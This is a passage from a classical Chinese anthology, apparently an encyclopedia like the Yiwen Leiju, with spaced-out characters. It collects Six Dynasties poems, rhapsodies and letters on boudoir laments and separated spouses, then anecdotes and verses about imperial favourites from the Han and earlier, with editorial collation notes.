芜 诗 曰 . 出 户 望 兰 薰 . 褰 帘 正 逢 君 . 敛 容 裁 一 访 . 新 人 讵 可 闻 . 新 人 含 笑 近 . 故 人 含 笑 隐 . 妾 意 在 寒 松 . 君 心 逐 朝 槿 .\n又 为 姬 人 怨 诗 曰 . 自 知 心 里 恨 . 还 向 影 中 羞 . 回 持 昔 慊 慊 . 变 作 今 悠 悠 . 还 君 与 妾 扇 . 归 妾 与 君 裘 . 弦 断 犹 可 续 . 心 去 最 难 留 .\n又 为 人 伤 近 而 不 见 诗 曰 . 嬴 女 凤 皇 楼 . 汉 姬 柏 梁 殿 . 讵 过 仙 将 死 . 音 容 不 可 见 . 独 我 一 心 人 . 同 乡 不 异 县 . 异 县 不 成 隔 . 同 乡 更 脉 脉 . 脉 脉 如 牛 女 . □ 由 ○ 冯 校 本 上 字 缺 同 . 下 作 由 . 按 玉 台 新 咏 六 . 本 句 作 无 妨 年 一 语 . 疑 此 当 作 无 由 寄 一 语 . 寄 一 语 .\n又 作 宠 姬 诗 曰 . 及 君 高 堂 还 . 值 妾 妍 妆 罢 . 曲 房 褰 锦 帐 . 回 廊 步 珠 屣 . 玉 钗 时 可 挂 . 罗 襦 讵 难 解 . 再 顾 连 城 易 . 一 眄 千 金 买 .\n又 咏 姬 人 诗 曰 . 窈 窕 守 容 华 . 但 歌 有 情 曲 . 转 眄 非 无 以 . 斜 眉 幸 相 属 . 不 减 许 飞 琼 . 多 胜 刘 璧 玉 . 何 因 送 款 款 . 半 饮 杯 中 醁 .\n梁 萧 子 显 春 别 诗 曰 . 翻 鹦 度 鷰 双 比 翼 . 杨 柳 千 条 共 一 色 . 但 看 陌 上 携 手 归 . 谁 能 对 此 空 中 忆 . 又 诗 曰 . 幽 宫 积 草 自 芳 菲 . 黄 鸟 芳 树 情 相 依 . 争 风 竞 日 常 闻 响 . 重 花 叠 叶 不 通 飞 . 当 知 此 时 动 妾 思 . 蹔 使 罢 袂 拂 臣 衣 .\n又 诗 曰 . 衔 悲 揽 涕 别 心 知 . 桃 花 李 色 任 风 吹 . 本 如 人 心 不 似 树 . 何 意 人 别 似 花 离 . 梁 刘 缓 闺 怨 诗 曰 . 别 后 春 池 异 . 荷 尽 欲 生 冰 . 箱 中 翦 刀 冷 . 台 上 面 脂 凝 . 纤 腰 转 无 力 . 寒 衣 怨 不 胜 .\n又 秋 闺 诗 曰 . 楼 上 起 秋 风 . 绝 望 秋 闺 中 . 烛 溜 花 行 满 . 香 然 奁 欲 空 . 徒 交 两 行 泪 . 俱 浮 妆 上 红 .\n梁 吴 筠 闺 怨 诗 曰 . 胡 笳 屡 凄 断 . 征 蓬 未 肯 还 . 妾 坐 江 之 介 . 君 戍 小 长 安 . 相 去 三 千 里 . 参 差 书 信 难 . 四 时 无 人 见 . 谁 复 重 罗 纨 .\n又 闺 怨 诗 曰 . 春 草 可 揽 结 . 妾 心 正 断 绝 . 绿 鬓 愁 中 改 . 红 颜 啼 里 灭 . 非 独 泪 如 珠 . 亦 见 珠 成 血 . 愿 为 飞 鹊 镜 . 翩 翩 照 离 别 .\n又 古 意 诗 曰 . 贱 妾 思 不 堪 . 采 桑 渭 城 南 . 带 减 连 枝 绣 . 发 乱 凤 皇 簪 . 花 舞 依 长 薄 . 鹅 飞 爱 渌 潭 . 无 由 报 君 此 . 流 涕 向 春 蚕 .\n梁 庾 肩 吾 春 宵 诗 曰 . 征 人 别 来 久 . 年 芳 复 临 牖 . 烛 下 夜 缝 衣 . 春 寒 偏 着 手 . 愿 及 归 飞 雁 . 因 书 向 高 柳 .\n又 冬 晓 诗 曰 . 邻 鸡 声 已 传 . 愁 人 竞 不 眠 . 月 光 侵 曙 后 . 霜 明 落 晓 前 . 萦 鬟 起 照 镜 . 谁 忍 椠 花 钿 .\n梁 刘 孝 绰 春 宵 诗 曰 . 春 宵 犹 自 长 . 春 心 非 一 伤 . 月 带 园 楼 影 . 风 飘 花 树 香 . 谁 能 对 双 鷰 . 暝 暝 守 空 床 .\n又 冬 晓 诗 曰 . 冬 晓 风 正 寒 . 偏 念 客 衣 单 . 临 妆 罢 铅 黛 . 含 泪 翦 绫 纨 . 寄 语 龙 城 下 . 讵 知 书 信 难 .\n又 古 意 诗 曰 . 燕 赵 多 佳 丽 . 白 日 照 红 妆 . 荡 子 十 年 别 . 罗 衣 双 带 长 . 春 楼 怨 难 守 . 玉 阶 悲 自 伤 . 对 此 归 飞 鷰 . 衔 泥 绕 曲 房 . 差 池 入 绮 幕 . 上 下 傍 雕 梁 . 故 居 犹 尚 尔 . 故 人 安 可 忘 . 徒 然 枕 枕 席 . 谁 与 同 衣 裳 . 空 使 兰 膏 夜 . 炯 炯 对 繁 霜 .\n梁 何 逊 闺 怨 诗 曰 . 晓 河 没 高 栋 . 斜 月 半 空 庭 . 窗 中 度 落 叶 . 帘 外 隔 飞 萤 . 含 情 下 翠 帐 . 掩 涕 闭 金 屏 . 旨 ○ 玉 台 新 咏 五 作 昔 . 期 今 未 反 . 春 草 寒 复 青 . 思 君 无 转 易 . 何 异 北 辰 星 .\n又 咏 倡 妇 诗 曰 . 暧 暧 高 楼 暮 . 华 烛 帐 前 明 . 罗 帷 雀 钗 影 . 宝 瑟 凤 鶵 声 . 夜 花 枝 上 发 . 新 月 雾 中 生 . 谁 念 当 窗 牖 . 相 望 独 盈 盈 .\n梁 费 昶 长 门 怨 诗 曰 . 向 夕 千 悲 起 . 百 恨 何 嗟 及 . 愁 思 且 归 床 . 罗 襦 方 掩 泣 . 绛 树 摇 风 软 . 黄 鸟 弄 声 急 . 金 屋 贮 娇 时 . 不 言 君 不 入 .\n梁 刘 孝 仪 闺 怨 诗 曰 . 本 无 金 屋 宠 . 长 作 玉 阶 悲 . 一 乖 西 北 丽 . 宁 复 城 南 期 . 永 巷 愁 无 歇 . 应 门 ● 有 时 . 空 劳 织 素 巧 . 徒 为 团 扇 词 . 匡 床 终 不 共 . 何 由 横 自 私 .\n梁 刘 孝 威 春 宵 诗 曰 . 花 开 人 不 归 . 节 暖 衣 须 变 . 回 钗 挂 反 镮 . 拭 泪 绳 春 线 . 今 夜 月 轮 圆 . 胡 兵 必 应 战 .\n又 冬 晓 诗 曰 . 妾 家 边 洛 城 . 惯 识 晓 钟 声 . 钟 声 犹 未 尽 . 汉 使 报 应 行 . 天 寒 砚 水 冻 . 心 悲 书 不 成 .\n梁 刘 孝 先 春 宵 诗 曰 . 夜 楼 明 月 弦 . 露 下 百 花 鲜 . 情 多 意 不 设 . 啼 罢 未 归 眠 . 炖 煌 定 若 远 . 一 信 动 经 年 .\n又 冬 晓 诗 曰 . 晨 霞 影 翠 帷 . 思 妇 织 霜 丝 . 经 寒 牵 杼 . 钏 冷 调 梭 迟 . 乍 废 倡 楼 粉 . 贪 赴 远 人 期 . 梁 王 筠 闺 情 诗 曰 . 月 出 宵 将 半 . 星 流 晓 未 央 . 空 闺 易 成 响 . 虚 室 自 生 光 . 娇 羞 悦 人 梦 . 犹 言 君 在 傍 .\n又 向 晓 闺 情 诗 曰 . 北 斗 行 欲 没 . 东 方 稍 已 晞 . 晨 鸡 初 下 栖 . 晓 露 上 沾 衣 . 衾 裯 徒 有 设 . 信 誓 果 相 违 . 讵 忍 开 朝 镜 . 羞 恨 掩 空 扉 .\n又 春 游 诗 曰 . 藂 兰 已 飞 蝶 . 杨 柳 半 藏 . 物 色 相 煎 荡 . 微 步 出 东 家 . 既 同 翡 翠 翼 . 复 如 桃 李 花 . 欲 以 千 金 笑 . 回 君 流 水 车 .\n梁 陆 罩 诗 曰 . 自 怜 断 带 日 . 偏 恨 分 钗 时 . 留 步 惜 余 影 . 含 意 结 愁 眉 . 徒 知 今 异 昔 . 空 使 怨 成 思 . 欲 以 别 离 意 . 独 向 蘼 芜 悲 .\n梁 鲍 泉 寒 闺 诗 曰 . 行 人 消 息 断 . 空 闺 静 复 寒 . 风 急 朝 机 燥 . 镜 暗 晚 妆 难 . 从 来 腰 自 小 . 衣 带 就 中 宽 .\n梁 邓 铿 闺 怨 诗 曰 . 暂 别 犹 添 恨 . 何 忍 别 经 时 . 藂 桂 频 销 叶 . 庭 树 几 攀 枝 . 君 言 妾 貌 改 . 妾 畏 君 心 移 . 终 须 一 相 见 . 并 得 两 心 知 .\n又 月 夜 闺 中 诗 曰 . 闺 中 日 已 暮 . 楼 上 月 初 华 . 树 阴 缘 砌 上 . 窗 影 向 床 斜 . 开 屏 写 密 书 . 卷 帐 照 垂 花 . 谁 能 当 此 夕 . 独 处 类 倡 家 . 梁 萧 子 晖 春 宵 诗 曰 . 夜 夜 妾 偏 栖 . 百 花 含 露 低 . 虫 声 绕 春 岸 . 月 色 思 空 闺 . 倩 语 长 安 驿 . 辛 苦 寄 辽 西 . 又 冬 晓 诗 曰 . 步 栏 光 欲 通 . 曙 鸟 向 西 东 . 烛 灭 传 余 气 . 帷 香 开 晓 风 . 繁 花 无 处 尽 . 还 销 寒 镜 中 .\n梁 刘 邈 秋 闺 诗 曰 . 萤 飞 绮 窗 外 . 妾 思 霍 将 军 . 灯 前 量 兽 锦 . 檐 下 织 花 纹 . 坠 露 如 轻 雨 . 长 河 似 薄 云 . 秋 还 百 种 事 . 衣 成 不 暇 熏 .\n梁 萧 子 云 春 思 诗 曰 . 春 风 荡 罗 帐 . 余 花 落 镜 奁 . 池 荷 正 卷 叶 . 庭 柳 复 垂 檐 . 竹 柏 君 自 改 . 团 扇 妾 方 嫌 . 讵 能 怜 故 素 . 终 为 泣 新 缣 .\n梁 何 思 澄 古 意 诗 曰 . 故 交 不 可 忘 . 犹 如 兰 桂 芳 . 新 知 虽 可 悦 . 不 异 茱 萸 香 . 妾 有 凤 皇 曲 . 非 无 陌 上 桑 . 荐 君 君 不 御 . 抱 瑟 自 悲 凉 .\n梁 朱 越 赋 得 荡 子 行 未 归 诗 曰 . 坐 楼 愁 出 望 . 息 意 不 思 春 . 无 奈 园 中 柳 . 寒 时 已 报 人 . 捉 梳 羞 理 鬓 . 挑 朱 懒 向 唇 . 何 当 上 路 晚 . 风 吹 还 骑 尘 .\n陈 阴 铿 南 征 闺 怨 诗 曰 . 湘 水 旧 言 深 . 征 客 理 难 寻 . 独 愁 无 处 道 . 长 啼 不 自 禁 . 作 人 憎 解 佩 . 从 来 懒 听 音 . 唯 当 有 夜 鹊 . 南 飞 似 妾 心 .\n又 秋 闺 怨 诗 曰 . 独 眠 虽 已 惯 . 秋 来 只 自 愁 . 火 笼 恒 暖 脚 . 行 障 镇 床 头 . 眉 含 黛 俱 敛 . 啼 将 粉 共 流 . 谁 能 无 限 别 . 唯 守 一 空 楼 .\n陈 李 爽 山 家 闺 怨 诗 曰 . 山 中 多 早 梅 . 荆 扉 达 曙 开 . 竹 巾 君 自 折 . 荷 衣 谁 为 裁 . 行 云 无 处 所 . 人 住 在 阳 台 .\n陈 张 正 见 山 家 闺 怨 诗 曰 . 王 孙 春 好 游 . 云 鬓 不 胜 愁 . 离 鸿 暂 罢 曲 . 别 路 已 经 秋 . 山 中 桂 花 晚 . 勿 为 俗 人 留 .\n又 赋 得 佳 期 竞 不 归 诗 曰 . 良 人 万 里 向 河 源 . 倡 妇 三 秋 思 柳 园 . 路 远 寄 诗 空 织 锦 . 宵 长 梦 反 欲 惊 魂 . 飞 蛾 屡 绕 帷 前 烛 . 衰 草 还 侵 阶 上 玉 . 衔 啼 拂 镜 不 成 妆 . 促 柱 繁 弦 还 乱 曲 . 时 忿 年 移 竞 不 归 . 偏 憎 信 急 夜 缝 衣 . 流 萤 映 月 明 空 帐 . 疏 叶 从 风 入 断 机 . 自 对 孤 鸾 向 影 绝 . 终 无 一 雁 带 书 飞 .\n陈 徐 湛 赋 得 班 去 赵 姬 升 诗 曰 . 班 姬 与 飞 燕 . 俱 侍 汉 王 宫 . 不 意 恩 情 歇 . 偏 将 衰 草 同 . 香 飞 金 辇 外 . 苔 上 玉 阶 中 . 今 日 悲 团 扇 . 非 是 为 秋 风 .\n隋 江 总 赋 得 空 闺 怨 诗 曰 . 荡 妻 怨 独 守 . 卢 姬 伤 独 居 . 瑟 上 调 弦 落 . 机 中 织 素 余 . 自 羞 泪 无 燥 . 翻 觉 梦 成 虚 . 复 嗟 长 信 合 . 寂 寂 往 来 疏 .\n又 为 姬 人 怨 服 散 诗 曰 . 天 寒 海 水 惯 相 知 . 空 床 明 月 不 相 宜 . 庭 中 芳 桂 憔 悴 叶 . 井 上 疏 桐 零 落 枝 . 寒 灯 作 花 羞 夜 短 . 霜 雁 多 情 恒 结 伴 . 非 为 陇 水 望 秦 川 . 直 置 思 君 肠 自 断 . 薄 命 夫 婿 好 神 仙 . 逆 愁 高 飞 向 紫 烟 . 金 丹 欲 成 犹 百 炼 . 玉 酒 新 熟 几 千 年 . 妾 家 邯 郸 好 轻 薄 . 特 忿 仙 童 一 丸 药 . 自 悲 行 处 绿 苔 生 . 何 悟 啼 多 红 粉 落 . 莫 轻 小 妇 狎 春 风 . 罗 袜 也 得 步 河 宫 . 云 车 欲 驾 应 相 待 . 羽 衣 未 去 幸 须 同 . 不 学 萧 史 还 楼 上 . 会 逐 姮 娥 戏 月 中 .\n又 闺 怨 诗 曰 . 寂 寂 青 楼 大 道 边 . 纷 纷 白 雪 绮 窗 前 . 池 上 鸳 鸯 不 独 自 . 帐 中 苏 合 还 空 然 . 屏 风 有 意 障 明 月 . 镫 火 无 情 照 独 眠 . 辽 西 水 冻 春 应 少 . 蓟 北 鸿 来 路 几 千 . 愿 君 关 山 及 早 度 . 念 妾 桃 李 片 时 妍 .\n又 诗 曰 . 蜘 蛛 作 丝 满 帐 中 . 芳 草 结 叶 当 行 路 . 红 脸 脉 脉 一 生 啼 . 黄 鸟 飞 飞 有 时 度 . 故 人 虽 故 昔 经 新 . 新 人 虽 新 复 应 故 .\n【 赋 】 梁 元 帝 荡 妇 秋 思 赋 曰 . 荡 子 之 别 十 年 . 倡 妇 之 居 自 怜 . 登 楼 一 望 . 唯 见 远 树 含 烟 . 平 原 如 此 . 不 知 道 路 几 千 . 天 与 水 兮 相 逼 . 山 与 云 兮 共 色 . 山 则 苍 苍 入 汉 . 水 则 涓 涓 不 测 . 谁 复 堪 见 鸟 飞 . 悲 鸣 只 翼 . 秋 何 月 而 不 清 . 月 何 秋 而 不 明 . 况 乃 倡 楼 荡 妇 . 对 此 伤 情 . 于 时 露 萎 庭 蕙 . 霜 封 阶 砌 . 坐 视 带 长 . 转 看 腰 细 . 重 以 秋 水 文 波 . 秋 云 似 罗 . 日 黯 黯 而 将 暮 . 风 骚 骚 而 渡 河 . 妾 怨 回 文 之 锦 . 君 思 出 塞 之 歌 . 相 思 相 望 . 路 远 如 何 . 鬓 飘 蓬 而 渐 乱 . 心 怀 愁 而 转 叹 . 愁 萦 翠 眉 敛 . 啼 多 红 粉 漫 . 已 矣 哉 . 秋 风 起 兮 秋 叶 飞 . 春 花 落 兮 春 日 晖 . 春 日 迟 迟 犹 可 至 . 客 子 行 行 终 不 归 .\n梁 江 淹 倡 妇 自 悲 赋 曰 . 日 自 赵 东 . 来 舞 汉 宫 . 瑶 席 金 陈 . 桂 枝 娇 春 . 素 壁 翠 楼 . 明 月 使 秋 . 歌 声 忽 散 . 倡 人 复 愁 . 君 王 更 衣 . 露 色 未 晞 . 侍 青 銮 以 云 徙 . 夹 丹 辇 以 霞 飞 . 愿 南 山 之 无 隙 . 指 寿 陵 以 同 归 . 俄 而 绿 衣 坐 奋 . 白 华 卧 进 . 屑 骨 不 怜 . 抵 金 谁 . 九 重 以 ● . 高 门 自 芜 . 青 苔 积 兮 银 合 . 网 罗 生 兮 玉 梯 虚 . 度 九 冬 而 廓 处 . 经 十 秋 而 分 居 . 伤 营 魄 之 已 尽 . 畏 松 柏 之 无 余 . 去 柏 梁 以 掩 袂 . 出 桂 柱 而 敛 眉 . 视 朱 殿 以 再 暮 . 抚 嫔 华 而 一 疑 .\n周 庾 信 荡 子 赋 曰 . 荡 子 辛 苦 逐 征 行 . 直 守 长 城 千 里 城 . 陇 水 恒 冰 合 . 关 山 唯 明 月 . 况 复 空 床 起 怨 . 倡 妇 生 离 . 纱 窗 独 掩 . 罗 帐 长 垂 . 新 筝 不 弄 . 长 笛 羞 吹 . 常 年 桂 苑 . 昔 日 兰 闺 . 罗 敷 总 发 . 弄 玉 初 笄 . 新 歌 子 夜 . 旧 舞 前 溪 . 别 后 关 情 无 复 情 . 离 前 明 镜 不 须 明 . 合 欢 无 信 寄 . 回 纹 织 未 成 . 游 尘 满 床 不 用 拂 . 细 草 横 阶 随 意 生 . 前 日 汉 使 着 章 台 . 闻 道 夫 婿 定 应 回 . 手 巾 还 欲 燥 . 愁 眉 即 剩 开 . 逆 想 行 人 至 . 迎 前 含 笑 来 .\n【 书 】 后 汉 秦 嘉 与 妻 书 曰 . 不 能 养 志 . 当 给 郡 使 . 随 俗 顺 时 . 僶 俛 当 去 . 知 所 苦 故 尔 . 未 有 瘳 损 . 想 念 悒 悒 . 劳 心 无 已 . 当 涉 远 路 . 趋 走 风 尘 . 非 志 所 慕 . 惨 惨 少 乐 . 又 计 往 还 . 将 弥 时 节 . 念 发 同 怨 . 意 有 迟 迟 . 欲 暂 相 见 . 有 所 属 托 . 今 遣 车 往 . 想 必 自 力 .\n秦 嘉 妻 徐 淑 答 书 曰 . 知 屈 珪 璋 . 应 奉 岁 使 . 策 名 王 府 . 观 国 之 光 . 虽 失 高 素 皓 然 之 业 . 亦 是 仲 尼 执 鞭 之 操 也 . 自 初 承 问 . 心 愿 东 还 . 迫 疾 惟 宜 抱 叹 而 已 . 日 月 已 尽 . 行 有 伴 例 . 想 严 庄 已 办 . 发 迈 在 近 . 谁 谓 宋 远 . 企 予 望 之 . 室 迩 人 遐 . 我 劳 如 何 . 深 谷 逶 迤 . 而 君 是 涉 . 高 山 岩 岩 . 而 君 是 越 . 斯 亦 难 矣 . 长 路 悠 悠 . 而 君 是 践 . 冰 霜 惨 烈 . 而 君 是 履 . 身 非 形 影 . 何 得 动 而 辄 俱 . 体 非 比 目 . 何 得 同 而 不 离 . 于 是 咏 萱 草 之 喻 . 以 消 两 家 之 恩 . 割 今 者 之 恨 . 以 待 将 来 之 欢 . 今 适 乐 土 . 优 游 京 邑 . 观 王 都 之 壮 丽 . 察 天 下 之 珍 妙 . 得 无 目 玩 意 移 . 往 而 不 能 出 耶 .\n嘉 重 报 妻 书 曰 . 车 还 空 反 . 甚 失 所 望 . 兼 凉 远 别 . 恨 恨 之 情 . 顾 有 恨 然 . 闲 得 此 镜 . 既 明 且 好 . 形 观 文 彩 . 世 所 希 有 . 意 甚 爱 之 . 故 以 相 与 . 并 宝 钗 一 双 . 好 香 四 种 . 素 琴 一 张 . 常 所 自 弹 也 . 明 镜 可 以 鉴 形 . 宝 钗 可 以 耀 首 . 芳 香 可 以 馥 身 . 素 琴 可 以 娱 耳 .\n妻 又 报 嘉 书 曰 . 既 惠 音 令 . 兼 赐 诸 物 . 厚 顾 慇 懃 . 出 于 非 望 . 镜 有 文 彩 之 丽 . 钗 有 殊 异 之 观 . 芳 香 既 珍 . 素 琴 益 好 . 惠 异 物 于 鄙 陋 . 割 所 珍 以 相 赐 . 非 丰 恩 之 厚 . 孰 肯 若 斯 . 览 镜 执 钗 . 情 想 髣 佛 . 操 琴 咏 诗 . 思 心 成 结 . 敕 以 芳 香 馥 身 . 喻 以 明 镜 鉴 形 . 此 言 过 矣 . 未 获 我 心 也 . 昔 诗 人 有 飞 蓬 之 感 . 班 婕 妤 有 谁 荣 之 叹 . 素 琴 之 作 . 当 须 君 归 . 明 镜 之 鉴 . 当 待 君 还 . 未 奉 光 仪 . 则 宝 钗 不 列 也 . 未 侍 帷 帐 . 则 芳 香 不 发 也 .\n梁 何 逊 为 衡 山 侯 与 妇 书 曰 . 昔 人 遨 游 洛 汭 . 会 遇 阳 台 . 神 仙 髣 佛 . 有 如 今 别 离 . ○ 离 字 疑 衍 . 帐 前 微 笑 . 涉 想 犹 存 . 而 幄 里 余 香 . 从 风 且 歇 . 掩 屏 为 疾 . 引 领 成 劳 . 镜 想 分 鸾 . 琴 悲 别 鹤 . 心 如 膏 火 . 独 夜 自 煎 . 思 等 流 波 . 终 朝 不 息 . 始 知 萋 萋 萱 草 . 忘 忧 之 言 不 实 . 团 团 轻 扇 . 合 欢 之 用 为 虚 . 路 迩 人 遐 . 音 尘 寂 绝 . 一 日 三 秋 . 不 足 为 喻 . 聊 陈 往 翰 . 宁 写 款 怀 . 迟 枉 琼 瑶 . 慰 其 杼 轴 .\n周 庾 信 为 上 黄 侯 世 子 与 妇 书 曰 . 昔 仙 人 道 引 . 尚 刻 三 秋 . 神 女 将 梳 . 犹 期 九 日 . 未 有 龙 飞 剑 匣 . 鹤 别 琴 台 . 莫 不 衔 怨 而 心 悲 . 闻 猿 而 下 泪 . 人 非 新 市 . 何 处 寻 家 . 别 异 邯 郸 . 那 应 知 路 . 想 镜 中 看 影 . 当 不 含 啼 . 栏 外 将 花 . 居 然 俱 笑 . 分 杯 帐 里 . 却 扇 床 前 . 故 是 不 思 . 何 时 能 忆 . 当 学 海 神 . 逐 潮 风 而 来 往 . 勿 如 织 女 . 待 填 河 而 相 见 .\n陈 伏 知 道 为 王 宽 与 妇 义 安 主 书 . 昔 鱼 岭 逢 车 . 芝 田 息\n驾 . 虽 见 妖 淫 . 终 成 挥 忽 . 遂 使 家 胜 阳 台 . 为 欢 非 梦 .\n人 惭 萧 史 . 相 偶 成 仙 . 轻 扇 初 开 . 欣 看 笑 靥 . 长 眉 始 画\n. 愁 对 离 妆 . 犹 闻 徙 佩 . 顾 长 廊 之 未 尽 . 尚 分 行 幰 . 冀\n迥 陌 之 难 回 . 广 摄 金 屏 . 莫 令 愁 拥 . 恒 开 锦 幔 . 速 望 人\n归 . 镜 台 新 去 . 应 余 落 粉 . 熏 炉 未 徙 . 定 有 余 烟 . 泪 滴\n芳 衾 . 锦 花 长 湿 . 愁 随 玉 轸 . 琴 鹤 恒 惊 . 已 觉 锦 水 丹 鳞\n. 素 书 稀 远 . 玉 山 青 鸟 . 仙 使 难 通 . 彩 笔 试 操 . 香 笺 遂\n满 . 行 云 可 托 . 梦 想 还 劳 . 九 重 千 日 . 讵 想 倡 家 . 单 枕\n一 宵 . 便 如 荡 子 . 当 令 照 影 双 来 . 一 鸾 羞 镜 . 勿 使 窥 独\n坐 . 恒 娥 笑 人 .\n又 曰 . 公 子 他 有 白 马 四 . 宋 公 嬖 向 魋 . 魋 欲 之 . 公 取 而 朱 其 尾 鬣 . 以 与 之 . 他 怒 . 使 其 从 夺 之 . 魋 惧 . 将 走 . 公 ● 门 而 泣 之 . 目 尽 肿 .\n韩 子 曰 . 弥 子 瑕 有 宠 于 卫 国 . 卫 国 法 . 窃 驾 君 车 罪 刖 . 子 瑕 之 母 病 . 其 人 有 夜 告 弥 子 . 弥 子 矫 驾 君 车 以 出 . 君 闻 而 贤 之 曰 . 孝 哉 . 为 母 之 故 . 犯 刖 罪 . 异 日 与 君 游 于 果 园 . 食 桃 而 甘 . 以 其 余 献 君 . 君 曰 . 爱 我 . 忘 其 口 . 啖 寡 人 .\n战 国 策 曰 . 楚 王 游 云 梦 . 结 驷 千 乘 . 旌 旗 蔽 日 . 野 火 之 起 若 云 蜺 . 兕 虎 之 ● 若 雷 霆 . 有 狂 兕 依 轮 . 而 王 亲 扞 弓 而 射 之 . 一 发 而 殪 . 王 仰 天 而 笑 曰 . 乐 矣 . 今 日 之 游 也 . 寡 人 万 岁 千 秋 之 后 . 谁 与 同 乐 此 矣 . 安 陵 君 缠 泣 数 行 而 进 曰 . 臣 入 则 侍 席 . 出 则 陪 乘 . 大 王 万 岁 千 秋 之 后 . 臣 愿 以 身 拭 黄 泉 . 驱 蝼 蚁 . 又 何 得 此 乐 而 乐 之 . 大 王 悦 . 而 封 缠 为 安 陵 君 .\n又 曰 . 魏 王 与 龙 阳 君 共 而 钓 . 龙 阳 君 涕 下 . 王 曰 . 何 为 泣 . 曰 . 为 臣 之 所 得 鱼 也 . 王 曰 . 何 谓 也 . 对 曰 . 臣 之 所 得 鱼 也 . 臣 甚 喜 . 后 得 又 益 大 . 臣 欲 弃 前 所 得 鱼 矣 . 今 以 臣 之 凶 恶 . 而 得 为 王 拂 枕 席 . 今 四 海 之 内 . 美 人 亦 甚 多 矣 . 闻 臣 之 得 幸 于 王 也 . 必 褰 裳 趍 王 . 臣 亦 曩 之 所 得 鱼 也 . 亦 将 弃 矣 . 臣 安 能 无 涕 出 乎 . 魏 王 于 是 布 令 于 四 境 之 内 曰 . 敢 言 美 人 者 灭 族 .\n汉 书 曰 . 汉 兴 . 佞 幸 宠 臣 . 高 祖 时 . 则 有 藉 孺 . 孝 惠 时 闳 孺 . 此 两 人 非 有 材 能 . 但 以 婉 媚 贵 幸 . 与 上 卧 起 . 公 卿 皆 因 门 说 . 故 孝 惠 时 . 郎 侍 中 皆 冠 鵔 鸃 . 具 带 . 傅 脂 粉 . 皆 闳 藉 之 属 也 .\n又 曰 . 邓 通 为 黄 头 郎 . 文 帝 梦 上 天 . 不 能 . 有 一 黄 头 郎 推 助 之 . 及 顾 其 衣 裳 . 后 穿 . 寐 觉 而 之 渐 台 . 以 梦 中 阴 自 求 推 者 . 见 邓 通 其 衣 后 穿 . 梦 中 所 见 也 . 召 问 甚 悦 . 尊 异 之 . 通 亦 愿 谨 . 不 好 外 交 . 虽 赐 洗 沐 . 不 欲 出 . 于 是 文 帝 赏 赐 通 钜 万 以 十 数 . 赐 通 蜀 严 道 铜 山 . 得 自 铸 钱 .\n又 曰 . 韩 嫣 . 武 帝 为 胶 东 王 时 . 与 上 学 相 爱 . 及 上 为 太 子 . 愈 益 亲 . 嫣 善 骑 射 . 聪 惠 . 上 即 位 . 欲 事 伐 胡 . 而 嫣 先 习 兵 . 以 故 益 尊 贵 . 赏 赐 拟 邓 通 . 常 与 上 共 卧 起 .\n又 曰 . 李 延 年 歌 为 变 声 . 是 时 欲 造 乐 . 令 司 马 相 如 等 作 诗 . 延 年 辄 承 意 . 弦 歌 所 造 诗 . 为 之 声 曲 . 由 是 为 协 律 都 尉 . 佩 二 千 石 印 绶 . 而 上 与 之 卧 起 . 其 爱 幸 将 韩 嫣 同 .\n又 曰 . 金 日 磾 子 赏 建 二 人 . 皆 爱 幸 . 为 武 帝 弄 儿 . 常 在 旁 . 昭 帝 时 . 日 磾 两 子 俱 侍 中 . 与 昭 帝 略 同 年 . 共 卧 起 . 赏 为 奉 车 都 尉 . 建 为 驸 马 都 尉 .\n又 曰 . 张 放 . 鸿 嘉 中 . 宣 ○ 当 作 成 . 帝 欲 遵 武 帝 故 事 . 与 近 臣 游 宴 . 放 以 公 主 子 . 日 数 得 幸 . 取 皇 后 弟 平 恩 侯 许 嘉 女 . 上 为 放 供 帐 . 赐 甲 第 . 充 以 乘 舆 服 饰 . 号 为 天 子 取 妇 . 皇 后 嫁 女 . 两 宫 使 者 . 冠 盖 不 绝 . 赏 赐 以 千 万 . 故 与 上 卧 起 . 宠 爱 殊 绝 .\n又 曰 . 董 贤 为 郎 . 传 漏 正 殿 下 . 贤 为 人 美 丽 . 哀 帝 望 见 . 悦 其 仪 貌 . 识 而 问 之 曰 . 是 舍 人 董 贤 耶 . 因 引 上 与 语 . 拜 为 黄 门 郎 . 由 是 始 幸 . 贤 宠 爱 日 甚 . 为 驸 马 都 尉 . 侍 中 . 出 则 参 乘 . 入 御 左 右 . 旬 月 间 . 赏 赐 累 钜 万 . 常 与 上 卧 起 . 常 昼 寝 . 偏 藉 上 衣 袖 . 上 欲 起 . 贤 未 觉 . 不 欲 动 贤 . 乃 断 袖 而 起 . 其 受 恩 至 此 .\n魏 志 曰 . 孔 挂 ○ 魏 志 三 注 作 桂 . 下 同 . 性 便 妍 . 晓 博 弈 蹋 鞠 . 太 祖 爱 之 . 每 在 左 右 . 出 入 随 从 . 挂 察 太 祖 意 欢 乐 . 因 言 吹 . ○ 魏 志 注 作 次 . 曲 有 所 陈 . 事 多 见 从 . 数 得 赏 赐 . 又 多 馈 遗 . 挂 由 此 侯 服 玉 食 . 太 祖 既 爱 挂 . 五 官 将 及 诸 侯 亦 皆 亲 之 .\n又 曹 毗 曹 肇 传 曰 . 肇 纂 ○ 按 本 条 不 见 魏 志 注 . 肇 纂 间 疑 有 脱 文 . 明 帝 宠 爱 之 . 寝 止 恒 同 . 常 与 帝 戏 . 睹 衣 物 . 有 不 获 . 辄 入 御 帐 . 服 之 径 出 . 其 见 亲 宠 . 类 此 比 也 .\n俗 说 曰 . 桓 玄 宠 丁 期 . 朝 贤 论 事 . 宾 客 聚 集 . 恒 在 背 后 坐 . 食 毕 . 便 回 盘 与 之 . 期 虽 被 宠 . 而 谨 约 不 敢 为 非 . 玄 临 死 之 日 . 期 乃 以 身 捍 刃 .\n【 诗 】 魏 阮 籍 诗 曰 . 昔 日 繁 华 子 . 安 陵 与 龙 阳 . 夭 夭 桃 李 华 . 灼 灼 有 辉 光 . 悦 泽 若 九 春 . 罄 折 似 秋 霜 . 流 眄 发 姿 媚 . 言 笑 吐 芬 芳 . 携 手 等 欢 爱 . 宿 昔 同 衾 裳 .\n晋 张 翰 周 小 史 诗 曰 . 翩 翩 周 生 . 婉 娈 幼 童 . 年 十 有 五 . 如 日 在 东 . 香 肤 柔 泽 . 素 质 参 红 . 团 辅 圆 ● . 菡 萏 芙 蓉 . 尔 形 既 淑 . 尔 服 亦 鲜 . 轻 车 随 风 . 飞 雾 流 烟 . 转 侧 绮 靡 . 顾 眄 便 妍 . 和 颜 善 笑 . 美 口 善 言 .\n梁 吴 筠 咏 少 年 诗 曰 . 董 生 唯 巧 笑 . 子 都 信 美 目 . 百 万 市 一 言 . 千 金 买 相 逐 . 不 道 